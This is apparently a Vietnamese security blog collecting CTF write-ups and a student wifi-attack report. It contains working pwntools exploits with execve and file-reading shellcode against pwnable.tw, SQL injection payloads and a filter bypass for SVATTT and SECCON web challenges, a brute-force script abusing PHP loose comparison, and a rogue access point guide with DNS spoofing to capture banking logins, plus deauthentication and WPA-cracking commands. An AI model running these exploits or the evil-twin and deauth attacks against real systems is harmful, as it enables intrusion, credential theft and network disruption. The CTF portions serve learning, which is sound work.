Shell xịn ( orw – pwnable.tw )

from pwn import *


shell_read = asm("xor    ecx,ecx;\
				mul    ecx;\
				mov    al,0x5;\
				push   ecx;\
				push   0x67616c66;\
				push   0x2f77726f;\
				push   0x2f656d6f;\
				push  0x682f2f2f;\
				mov    ebx,esp;\
				int    0x80;\
				xchg   ebx,eax;\
				xchg   ecx,eax;\
				mov    al,0x3;\
				xor    edx,edx;\
				mov    dx,0xfff;\
				inc    edx;\
				int    0x80;\
				xchg   edx,eax;\
				xor    eax,eax;\
				mov    al,0x4;\
				mov    bl,0x1;\
				int    0x80;\
				xchg   ebx,eax;\
				int    0x80")


conn = remote("chall.pwnable.tw",10001)

rec_1  = conn.recvuntil("Give my your shellcode:")
print rec_1

conn.sendline(shell_read)

Shell sịn ( start – pwnable.tw )

from pwn import *

#s = process("./start")
s = remote('chall.pwnable.tw',10000)

a_leak = p32(0x08048087) #0x08048087 <+39>:	mov    ecx,esp
#shell23byte = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shell23byte = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

buf = 0

def leak(buf):

	chuoi = s.recvuntil(":")
	print chuoi
	a = raw_input("Press any key")
	payload1 = "a"*20+a_leak
	s.send(payload1)
	print "sent: ",payload1
	chuoi = s.recv(200)
	addr =  chuoi.replace("Let's start the CTF:","")[0:4]
	addr = u32(addr) + 20 + buf
	print "address shell: ",hex(addr)
	return addr

def pwn(addr):
	payload2 = '\x90'*20 + p32(addr) + "\x90"*12 +shell23byte
	a = raw_input("Press any key")
	s.sendline(payload2)
	print "sent: ",payload2

addr = leak(buf)
pause(2)
pwn(addr)
pause(2)
s.interactive()

SECCON 2016 – uncomfortable web (web300)


Decription:
Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!

Firstly, we know it allow us to upload and run a script written by perl, python and shell
Of course, We need to attack to http://127.0.0.1:81/authed/
Let try with curl and something happen
1
And we have list of file and folder:
authed/
select.cgi
also try something with select.cgi
2
A get method from with the name “txt” and some values is “a”,”b”.
3
Something happen, I guess it is a.txt because the name of the post
4
Try to read some important file like “.htaccess”
5
We get something interesting

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName “SECCON 2016”
AuthType Basic
Require user keigo

So, let try to get authed from .htpasswd
6
keigo:LdnoMJCeVy.SE
Best, try to decrypt password we get “test”
1
Then access to authed/
7
Then it show us a list of file and folder:

a.txt
b.txt
c.txt
sqlinj/

8
Yup, more and more file: [1-100].cgi
in each file, it give me a get method with the name “no” and value is “4822267938”
Note: Get the flag in the database!
we need to try injection with list of file with payload: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=4822267939-1”
9
OK not found anything, “4822267938” may be a string but not number
Try to inject it with quote, payload is: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=a’or’1’like’1′–”
10
And found injection in 72.cgi
Yup let take a quiz with sql injection
btw, I think it blacklist (,) and space, let bypass it use comment /**/
And easy to find table_name
12
So easy to find flag
13

flag: SECCON{I want to eventually make a CGC web edition… someday…}

SVATTT Farm Web200 ( vietlott & readfile return)

Vietlott – web200

Mỗi lần thi xong là một lần ôm đống việc, deadline ơi sao mà nhiều thế, mà thôi cũng không mất nhiều thời gian nên write up một bài biết đâu có tiền 😐
Bài này thực ra chả có gì khó, chỉ cần nhìn filter là biết làm gì rồi, ước gì lúc thi mình nhìn vào nó một tí, thật là sida.
Không chặn group by thì mình dùng group by, ez
payload: your_number=1 group by 1
1
flag: SVATTT{N0_alias_anym0r3}

Readfile Return – web200

Bài này cũng không phải khó, vì thực ra nó cũng y hệt như bài readfile vòng loại, nhưng vì chiến thuật team mình là Full Attack nên mình cũng không làm bài farm nào.
Tư duy bài này là thay vì brute timestamp như readfile trước thì mình sẽ force cái file name thay đổi để xác suất gặp được trường hợp $realsig trở thành dạng magic hash

url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=./flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.//flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=././flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.///./flag.php&sig=0
các Url trên đều như nhau nên lợi dụng điều đó mình sẽ brute được đoạn filename 700 kí tự là vô cùng nhiều trường hợp, xác suất là khá cao để gặp magic hash.

Code một đoan padding như này:
kí tự đầu tiên là “.”
kí tự thứ cuối cùng là “/”
nếu kí tự thứ n là “.” thì kí tự thứ n+1 là “/”
nếu kí tự thứ n là “/” thì kí tự thứ n+1 là “.” hoặc “/”

url = ” http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=”+padding+”flag.php&sig=0
Brute ra chắc sẽ có flag, vì không có nhiều thời gian nên mình nói tới đây thôi, khi nào rảnh mình sẽ code và up lên, tất nhiên bây giờ thì mình sẽ không up vì đống deadline trên lớp.

Tower 2 – Chung Kết SVATTT2016

Một kỉ niệm buồn mà cũng vui, buồn vì trường mình mất chức vô địch, vui vì team mình may mắn được “ra tới Hà Nội”. Nhưng thôi bỏ qua tất cả để thử thách bản thân hơn.
Bài này thật sự là một bài dễ, cá nhân mình cho rằng với số điểm là 10 vàng là quá ưu ái. Tuy vậy nhưng lúc mình giải bài này thực sự là bế tắc trong cách giải quyết, kiểu như là đi tìm con gà trong Hồ Gươm.
Sai lầm đầu tiên là không debug và đoán bug, đây là sai lầm khiến mình mất hơn 2 tiếng để tìm cách escape quotes.
Đề cho ta source:

#!/usr/bin/python

from flask import Flask
from flask import request
import sqlite3
from re import sub
import os


def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\)|\/|\*]','',s)
    return addslashes(s)

app = Flask(__name__)
ROOT = os.path.dirname(os.path.realpath(__file__))
_FLAG_ = open(os.path.join(ROOT,'flag'),'rb').read()

BODY_HTML = """
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/sandstone/bootstrap.min.css" rel="stylesheet" integrity="sha384-G3G7OsJCbOk1USkOY4RfeX1z27YaWrZ1YuaQ5tbuawed9IoreRDpWpTkZLXQfPm3" crossorigin="anonymous">
<title>Tower-X-Tower-level01</title>


<div class="container">


<a href='/'><img src='http://final.svattt.org/images/tower.png' width=200 height=319 /></a>

{}
</div>


"""

INDEX_HTML = BODY_HTML.format("""


<h3>Login</h3>




<form class="form-horizontal" method=GET action='/login'>


<div class="form-group">
          <label class="control-label col-sm-2" for="uname">Username:</label>


<div class="col-sm-5">
            <input type="text" class="form-control" id="uname" name="username" placeholder="Enter Username">
          </div>


        </div>




<div class="form-group">
          <label class="control-label col-sm-2" for="pwd">Password:</label>


<div class="col-sm-5">
            <input type="password" class="form-control" id="pwd" name="password" placeholder="Enter password">
          </div>


        </div>




<div class="form-group">


<div class="col-sm-offset-2 col-sm-5">
            <button type="submit" class="btn btn-default">Submit</button>
          </div>


        </div>


      </form>


    """)


@app.route("/",)
def index():
    if request.args.get('source') == '1':
      from cgi import escape
      return BODY_HTML.format('

<pre>{}</pre>

'.format(escape(open(os.path.join(ROOT,__file__),'rb').read()).encode('ascii', 'xmlcharrefreplace'))
)
    return INDEX_HTML

@app.route("/login",methods=['GET'])
def login():
    username = filter(request.args.get('username'))
    password = filter(request.args.get('password'))

    if username != '' and password != '':
        conn = sqlite3.connect(os.path.join(ROOT,'users.db'))
        conn.row_factory = sqlite3.Row
        c = conn.cursor()

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)
        result = c.execute(query)

        for r in result:
            flag = _FLAG_ if 'flag' in r.keys() else ''
            if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""
<h3>EHLO {user}!</h3>

                        <!-- DEBUG: {flag} -->
                </div>

""".format(user=username,flag=flag))
    conn.close()
    return BODY_HTML.format("
<h1>Failed</h1>

")

if __name__ == "__main__":
    import logging
    logger = logging.getLogger('werkzeug')
    handler = logging.FileHandler(os.path.join(ROOT,'access.log'))
    logger.addHandler(handler)
    app.logger.addHandler(handler)
    app.run(host='0.0.0.0',port=5002,debug=False,processes=10)

Nhờ có đồng đội tuyệt vời nên mình đã ngộ ra một điều là mình đã sai. Mình quyết định dựng 1 con server y hệt như BTC và debug.
Nhờ vậy mà mình đã hiểu chi tiết hệ thống này hoạt động ra sao.
* Phân tích source:
Vì mình rất ngại đọc source python nên mình chỉ đi từ cách lấy flag thôi chứ không đọc toàn bộ.
Điều đầu tiên phải nói tới là điều kiện:

flag = _FLAG_ if 'flag' in r.keys() else ''

tức là hàm _FLAG_ sẽ được thực thi khi mình select ra một cột có tên “flag”

if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""


<h3>EHLO {user}!</h3>


                        <!-- DEBUG: {flag} -->
                </div>


""".format(user=username,flag=flag))

tức là cột thứ 2 lúc select ra phải là một số bằng 1
Điều thứ 2 đương nhiên là câu truy vấn:

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)

Có lẽ cấu trúc này làm cho nhiều người phải điên đảo vì nó khá lạ, nhưng những cái này với mình thì như cơm cháo rồi. Cụ thể là điều kiện chính là vế chọn, bỏ where để câu lệnh trở nên ngắn hơn nhưng logic đã mất đi vì câu truy vấn sẽ không phân biệt được điều kiện nằm ở bảng nào ( Cái này là do anh PwnPP4fun chỉ mình :)) ). Nhờ vậy mà ở đây mình sẽ có thể sửa được chút ít.
Điều thứ 3 không phải gì khác chính là filter và sub:
username và password được filter bởi hàm filter(s).

def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\)|\/|\*]','',s)
    return addslashes(s)

Dễ hiểu thôi, payload (username,password) của mình sẽ bị lược bỏ đi một số kí tự cực kì quan trọng như (,),/,* và nếu ascii code của kí tự nào đó trong payload (username,password) nằm ngoài đoạn [33-126] thì sẽ bị thay bằng guest. Sau đó nó sẽ addslashes vào để cản mình dùng dấu nháy (‘). Cái này làm mình mất hơn 2 tiếng tìm cách escape mà nó chả có ý nghĩa gì cả vì sqlite không có tính năng addslashes để biến cái dấu (‘) thành string, noob thật.
Xong, ta đã phân tích được sourcecode, tiến đến bước 2
* Tìm cách khai thác
– Để hiện ra tên bảng là flag thì mình select một cái bảng nào đó rồi sửa tên nó thành flag là xong
– Để select được ra cột thứ 1 (tính từ 0) được một số bằng 1 thì mình dùng Or cho nó ra thằng guest thì auto đúng
– Để bypass được dấu cách và ngoặc đơn thì mình dùng cái này (`). ( Từ hint của BTC)
OK payload cuối cùng sẽ là:
username=’or`username`=`username`,`password`as`flag`from`users`–
password sao cũng được

1

Đây là bản patch cho bài này, mình không biết là tối ưu hay chưa, nếu bạn có bản nào hay hơn thì xin chỉ dạy, xin cảm ơn.

#!/usr/bin/python

from flask import Flask
from flask import request
import sqlite3
from re import sub
import os


def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\'|\/|\*]','',s)
    return addslashes(s)

app = Flask(__name__)
ROOT = os.path.dirname(os.path.realpath(__file__))
_FLAG_ = open(os.path.join(ROOT,'flag'),'rb').read()

BODY_HTML = """
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/sandstone/bootstrap.min.css" rel="stylesheet" integrity="sha384-G3G7OsJCbOk1USkOY4RfeX1z27YaWrZ1YuaQ5tbuawed9IoreRDpWpTkZLXQfPm3" crossorigin="anonymous">
<title>Tower-X-Tower-level01</title>


<div class="container">


<a href='/'><img src='http://final.svattt.org/images/tower.png' width=200 height=319 /></a>

{}
</div>


"""

INDEX_HTML = BODY_HTML.format("""


<h3>Login</h3>




<form class="form-horizontal" method=GET action='/login'>


<div class="form-group">
          <label class="control-label col-sm-2" for="uname">Username:</label>


<div class="col-sm-5">
            <input type="text" class="form-control" id="uname" name="username" placeholder="Enter Username">
          </div>


        </div>




<div class="form-group">
          <label class="control-label col-sm-2" for="pwd">Password:</label>


<div class="col-sm-5">
            <input type="password" class="form-control" id="pwd" name="password" placeholder="Enter password">
          </div>


        </div>




<div class="form-group">


<div class="col-sm-offset-2 col-sm-5">
            <button type="submit" class="btn btn-default">Submit</button>
          </div>


        </div>


      </form>


    """)


@app.route("/",)
def index():
    if request.args.get('source') == '1':
      from cgi import escape
      return BODY_HTML.format('

<pre>{}</pre>

'.format(escape(open(os.path.join(ROOT,__file__),'rb').read()).encode('ascii', 'xmlcharrefreplace'))
)
    return INDEX_HTML

@app.route("/login",methods=['GET'])
def login():
    username = filter(request.args.get('username'))
    password = filter(request.args.get('password'))

    if username != '' and password != '':
        conn = sqlite3.connect(os.path.join(ROOT,'users.db'))
        conn.row_factory = sqlite3.Row
        c = conn.cursor()

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)
        result = c.execute(query)

        for r in result:
            flag = _FLAG_ if 'flag' in r.keys() else ''
            if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""
<h3>EHLO {user}!</h3>

                        <!-- DEBUG: {flag} -->
                </div>

""".format(user=username,flag=flag))
    conn.close()
    return BODY_HTML.format("
<h1>Failed</h1>

")

if __name__ == "__main__":
    import logging
    logger = logging.getLogger('werkzeug')
    handler = logging.FileHandler(os.path.join(ROOT,'access.log'))
    logger.addHandler(handler)
    app.logger.addHandler(handler)
    app.run(host='0.0.0.0',port=5002,debug=False,processes=10)

 
Bài này mình và anh PwnPP4fun cùng nhau làm nên mới ra, nếu không có sự trợ giúp của anh ấy thì mình cá là mình sẽ xoáy vào những sai lầm mà không thể thoát ra được. Từ đây mình rút ra được kinh nghiệm rằng team nên hỗ trợ lẫn nhau cùng giải các bài hơn là chia nhau mỗi người một mảng rồi tách biệt ra chơi vì cách này chả khác gì chơi 1 mình cả, không thể thoát ra nếu gặp bế tắc. Mình luôn muốn ở trong 1 team thà yếu mà đoàn kết hơn là 1 team mạnh mà cô độc.

Báo cáo đồ án WIFI SECURITY ( attack and “chémgió” )

Nhiều khi muốn viết xong lại nghỉ, muốn nghỉ xong lại viết rồi cuối cùng thì viết, Dù gì thì đây là một trong những Project đầu tiên cảm thấy mình thực sự hữu dụng.
Câu truyện bắt đầu từ một từ “tuyên giáo” à nhầm “Phà”, vì đây là lần đầu tiên mình đi phà :xuốngnúi:
3

Chém gió vậy thôi, đây mới là phần chính

Đã bao giờ bạn nghĩ mình đã che dấu tất cả mà sao vẫn bị phát hiện chưa, hoặc tại sao ngày đó mình toàn bị mất account trong khi mình không tiết lộ 1 bit. Mọi thứ trở nên không còn được bảo vệ khi bạn đang truy cập vào một trạm phát sóng lừa đảo hoặc cũng chẳng truy cập vào đâu cả.

* Vấn đề 1: Bạn đang thú tội với mọi người xung quanh
Nếu bạn nói dối, hãy chắc chắn là bạn đang nói dối với đúng người, mọi thứ xung quanh đã thú tội trước khi bạn nhắm mắt.
Đầu tiên nói về kết nối wireless network, ở đây có 2 trường hợp xảy khi kết nối: bị động và chủ động
Với trường hợp bị động, các thiết bị trên mode Master sẽ gửi các gói tin Beacon để quảng bá tín hiệu, sau đó các thiết bị mode Manager sẽ nhận thấy cường độ sẽ lưu lại chờ lệnh kết nối.
Với trường hợp chủ động, các thiết bị muốn được kết nối sẽ hỏi thăm những Wifi đã từng kết nối bằng các gói tin Probe Request, gói tin này vô tình tố cáo ngày hôm qua bạn đã truy cập vào wifi nào -> hôm qua bạn đã đi đâu, thật đau khổ khi những việc riêng tư như vậy được chia sẻ với tất cả mọi người
basic tool để khai thác điều này.

#!/usr/bin/python
from scapy.all import *

MAC_ADDR = []
SSID = []
i = 0
logfile = "captured.log"
def PacketHandler(pkt):
  global i
  if pkt.haslayer(Dot11):
    if pkt.type == 0 and pkt.subtype == 4:
      i+= 1
      PrintPacket(pkt, i)

def PrintPacket(pkt, i):
  global MAC_ADDR
  global SSID
  
  mac_addr = pkt.addr2
  ssid = pkt.getlayer(Dot11ProbeReq).info
  if mac_addr not in MAC_ADDR:
    MAC_ADDR.append(mac_addr)

  if ssid != "":
    print "|\t%02s\t" % i, "|\t", mac_addr, "\t|", ssid
    open(logfile, "a").write(mac_addr + " " + ssid + "\n")
  
def main():
  print "|\tNo \t|", "\tMAC Address\t\t", "| SSID\t"
  print "|---------------|-------------------------------|-------------------------------"
  sniff(iface="wlan0", prn=PacketHandler)


  for mac_addr in MAC_ADDR:
    print "This device (%s) had connected to:" % mac_addr
    tmp = []
    for line in open(logfile).readlines():
      if mac_addr in line:
        if line[18:-1] not in tmp and line[18:-1] != "":
          print " " * 50, line[18:-1]
          tmp.append(line[18:-1])
          
main()

Cảm ơn anh Quân Đoàn đã chia sẻ ❤
* Vấn đề 2: Liệu có an toàn khi bạn kết nối tới 1 Access Point lạ.
Xem Video cho rõ nào:


Tên đăng nhập và password của vietcombank dễ lấy vậy sao?
OK giờ mình sẽ chỉ cho các bạn tạo 1 “wifi lạ”
Bước 1: Triệu hồi Tool
Create_ap : https://github.com/oblique/create_ap
DHCPD : sudo apt-get install isc-dhcp-server
DNSmasq : https://github.com/guns/dnsmasq
Ettercap : https://ettercap.github.io/ettercap/ Nếu không thể cái DHCP hoặc DHCP không ổn định
và quan trọng nhất apache để làm bất cứ thứ gì mình thích
Bước 2: Cài đặt và config
Các tool kia mình không nói thêm vì cài đặt rất đơn giản, mình chỉ nói tới DNSmasq vì cái này cần config nhất.
Trong file /etc/dnsmasq.conf

no-dhcp-interface=
server=8.8.8.8

no-hosts
addn-hosts=/etc/dnsmasq.hosts

với server=8.8.8.8 là server mà bạn muốn forward tới
còn file /etc/dnsmasq.hosts là DNS cache
sau đó vào file dnsmasq.hosts để config những tên miền mà bạn muốn fake qua địa chỉ nào.

Bước 3: Chạy, ở đây mình không có đủ card nên chạy 2 card wlan0 và eth0
#create_ap -m bridge wlan0 eth0 tenwifi passwordwifi
Mở tab khác bật dnsmasq
#killall -9 dnsmasq
#dnsmasq -q -d
Bật ettercap và config DHCP spoofing qua DNS của mình
Bước 4: Chờ đợi là hạnh phúc
1
* Vấn đề 3: Tấn công DOS
Câu thần chú có thể tàn phá hầu hết các con router cùi:
# aireplay-ng –ignore-negative-one –deauth 1000 -a D1:11:11:11:11:11 wlan0
với D1:11:11:11:11:11 là SSID của con router: tìm không khó, nhiều tool, bật wireshark cũng thấy được
wlan0 là card mạng ở mode monitor
* Vấn đề 4: Crack Wifi
Mình chỉ nói tới từ điển vì các loại khác khá lâu, nếu từ điển mạnh thì khả năng lấy được pass là khá chắc
Bộ công cụ aircrack quá nổi tiếng rồi
#airmon-ng start wlan0 // bật mode monitor ở card ảo wlan0mon
#airmon-ng start kill / airmon-ng check kill // bỏ đi những thứ không cần
#airodump-ng wlan0mon // Sniff trên mode Monitor tìm vài thứ
#airodump-ng -c [kênh] –bssid [BSSID] -w [đường dẫn sẽ lưu file bắt tay]
#aireplay-ng –ignore-negative-one –deauth 1000 -a D1:11:11:11:11:11 wlan0mon // kick nó ra cho nó vào lại mới lấy được file bắt tay chứ 🙂
# aircrack-ng -w [Từ điển] [File bắt tay]

SVATTT( ze-RE50, mrc-RE150 )

Bật IDA lên và xem source thì mình nhặt được cái này, đọc source thì thấy không có gì đặc biệt chỉ có hàm strtoul,

capture
google ra cái này

unsigned long int strtoul(const char *str, char **endptr, int base)

OK vậy convert 53 qua base17 là xong
53 – 17*3 = 2 -> base17 của 53 là 32
flag: 00000032

Tiếp tục với bài MRC, ta nhận thấy mọi mấu chốt của vấn đề đều nằm ở hàm sub_8048740
1
Ta nhận thấy với mỗi vòng lặp for thực hiện sẽ lấy từng ký tự trong chuỗi ký tự input của ngừi nhập vào để biến đổi. Ta nhận thấy rằng với mỗi giá trị input thay đổi chỉ làm ảnh hưởng đến toàn bộ ký tự phía sau trong chuỗi output tương ứng, mà những ký tự phía trước vẫn được giữ nguyên.

Chính vì điều này ta có thể bruteforce từng ký tự và so sánh kết quả với output đề bài và tìm được flag.

Code

array = [0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D,0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,0x9DD277AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0xF1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45,0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9,0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D,0x00000000,0x00000000,0x00000000,0x00000000]
result = [0xff,0xb7,0x8c,0x22,0xab,0x21,0xa8,0x30] #123
v2 = 0
v4 = 0xffffffff
output = "ffc309e61f2ac3df48d3b9b64fd1720bfb95b460a1235f5d91c4f92ce90dfa516e1b8c49225b808560a9d853980662"
def sr(a):
   	 a = (a + 2**32) % 2**32
   	 return a
tmp = ""
for h in range(2,100):
    set = 0
    print tmp
    for g in range(0,255):
   	 input = tmp + chr(g) + "}"
   	 # print input
   	 flag = ""
   	 v2 = 0
   	 v4 = 0xffffffff
   	 for i in input:
   		 v2 = (v4 >> 24) ^ ord(i)
   		 # print hex(v4)
   		 # print hex(ord(i))
   		 # print hex(v2)
   		 # print str(hex(v4))[8:10] + " -- -- -- "  + i
   		 # print "hex(v4 & ((ord(i) >>7)*0xff | 0xffffff00))"
   		 # print hex(v4 & ((ord(i) >>7)*0xff | 0xffffff00))
   		 # print hex(v2)
   		 # print hex(array[v2])
   		 flag += str(hex(v4))[-2:]
   		 # print flag
   		 v4 = v4 & ((ord(i) >>7)*0xff | 0xffffff00) ^ array[v2]
   		 # print hex(v4)
   		 # print "----------------"
   	 # print flag
   	 
   	 if flag == output[:h*2] :
   		 print flag
   		 print output
   		 tmp += chr(g)
   		 set = 1
   		 break
    if (flag == output):
   	 print "Flag is : " + tmp + "}"
   	 exit(0)
	

2
Created by PwnPP4fun

Write up SVATTT – web150 – readfie

Link ở đây!
Bài này đề cho source code, bug xuất hiện rất rõ ràng, quan trọng là làm sao để khai thác được thôi 🙂

<?php
    function checksig($filename, $timestamp, $sig, $secretkey)
    {
        $realsig = substr(md5($filename.$timestamp.$secretkey),0,16);
        if ($sig == $realsig)
        {
            $filename = './'.str_replace('/','',$filename);
            readfile($filename);
            die(0);
        }
        echo "Invalid Signature!";
    }

$secretkey = "XXXXXXXXXXXXXXXXXXXXXXXXX";//This is not real $secretkey, ignore it !!!
echo "<html>
    <title>Web100</title>
    <body>
    
Dare to read flag.php???
    <a href='web100.php?filename=test.php&timestamp=13371337&sig=d7a52c3ed325ef19'>Click me</a>
    </body>";
if (isset($_GET['filename'])&&isset($_GET['sig'])&&isset($_GET['timestamp']))
    {
        checksig($_GET['filename'],$_GET['timestamp'],$_GET['sig'], $secretkey);
        die(0);
    }
echo "Something's missing!!";
echo "</html>";
?>

Thấy 2 dấu bằng chỗ này :””” if ($sig == $realsig) “”” thì mình biết chắc chắn là loose comparation – 1 tính năng khá kinh điển của php. Nếu bạn chưa biết thì hãy nhấn vào đây
Quan trọng là làm sao khai thác nó.
Nếu so sánh 2 chuỗi thì có 1 vài thứ mình cần xem xét
TRUE: “0000” == int(0)
TRUE: “0e12” == int(0)
TRUE: “1abc” == int(1)
TRUE: “0abc” == int(0)
TRUE: “abc” == int(0)
Tuy nhiên do là so sánh string nên có gì đó hơi khác vì “0abc”==”0” -> false
nhưng “0e1234″==”0” -> true
“0e1218718″==”0” -> true
……..
“0e”+chuỗi số -> true

hoặc có thể còn trường hợp nào nữa (số 1 cũng có thể) nhưng chắc chắn payload dùng số 0 rất có khả năng bypass được hàm so sánh.
lợi dụng điều này mình có thể force cho 1 đoạn string bất kỳ so sánh với “0” hoặc “1” sẽ trả về true
Mình gọi cái đống này là “so sánh noob”
OK vậy nếu cái sig check thì khá là nguy hiểm, chỉ cần đoạn substr(md5($filename.$timestamp.$secretkey),0,16) trả về 1 cái gì đó tuơng tự như các kí tự “so sánh noob” thì ta sẽ bypass được cái sig này
có 2 input nhập vào, cái thứ nhất sẽ là flag.php vì đề hint như vậy 🙂
cái thứ 2 sẽ dùng để brute sao cho cái sig của “””substr(md5($filename.$timestamp.$secretkey),0,16)””” có dạng “so sánh noob”.
mình sẽ brute bắt đầu từ 0 cho chắc ăn

import requests
for i in range(0,1000000):
		u1 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=1"
		u2 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=0"
		r1 = requests.get(u1)
		r2 = requests.get(u2)
		l1 = len(r1.text)
		l2 = len(r2.text)
		if l1!=210:<img src="https://b01701.files.wordpress.com/2016/11/1.png?w=300" alt="1" width="300" height="68" class="alignnone size-medium wp-image-145" />
			print u1
		if l2!=210:
			print u2

sau khi chạy đoạn code này xong, mình thấy nó in ra cái url này http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp=862&sig=0
ok vào đó xem thử thì thấy thế này
1
